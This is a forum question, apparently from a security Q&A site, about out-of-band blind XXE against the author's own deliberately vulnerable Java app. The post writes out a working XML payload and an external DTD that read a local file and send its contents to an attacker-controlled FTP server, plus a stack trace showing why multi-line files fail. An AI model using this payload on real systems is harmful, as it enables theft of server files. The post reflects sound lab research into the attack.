title: XXE - Unable to retrieve files with multiple lines
body: <p>I have created a Java application vulnerable to (blind) XXE.</p>
  
  <p>I am able to exploit the vulnerability and retrieve a file that contains a single line using the following approach:</p>
  
  <p>1) Intercept the XML request and modify it as follow:</p>
  
  <pre><code>&lt;?xml version='1.0'?&gt;
      &lt;!DOCTYPE xxe [
          &lt;!ENTITY % EvilDTD SYSTEM 'http://192.168.27.152/evil_oob.dtd'&gt;
          %EvilDTD;
          %LoadOOBEnt;
          %OOB;
      ]&gt;
  </code></pre>
  
  <p>2) On 192.168.27.152, serve the following evil_oob.dtd on port 80:</p>
  
  <pre><code>&lt;!ENTITY % resource SYSTEM "file:///C:/temp/test.txt"&gt;
  &lt;!ENTITY % LoadOOBEnt "&lt;!ENTITY &amp;#x25; OOB SYSTEM 'ftp://192.168.27.152:2121/%resource;'&gt;"&gt;
  </code></pre>
  
  <p>3) Run a modified FTP server (<a href="https://github.com/lc/230-OOB/blob/master/230.py" rel="nofollow noreferrer">Python</a>) on the attacker machine on port 2121.</p>
  
  <p>As I explained earlier, everything works fine when test.txt contains a single line. However, if test.txt contains multiple lines (and therefore a carriage return), the ftp URL is not valid and I get the following error: </p>
  
  <pre><code>java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP
  command     at
   sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:518)
  
  &lt;... snip ...&gt;
  
  at java.lang.Thread.run(Thread.java:748) Caused by:
    sun.net.ftp.FtpProtocolException: Illegal FTP command     at
    sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:533)   at
    sun.net.ftp.impl.FtpClient.openDataConnection(FtpClient.java:752)     at
    sun.net.ftp.impl.FtpClient.getFileStream(FtpClient.java:1293)     at
    sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:435)
      ... 114 more Caused by: java.lang.IllegalArgumentException: **Illegal
    carriage return**     at
    sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:535)
  </code></pre>
  
  <p>I have also tried to replace the FTP server by an http server running on a different port, but I am of course getting a similar error as the URL is also not valid in this case.</p>
  
  <p>I am wondering if it is even possible to retrieve a file that contains multiple lines through a blind XXE? I know that with PHP you can sometimes use PHP filters to base64 encode the file, but this is not the case with Java.</p>
  
  <p>I have read dozens of posts but could not find a way to achieve my goal.</p>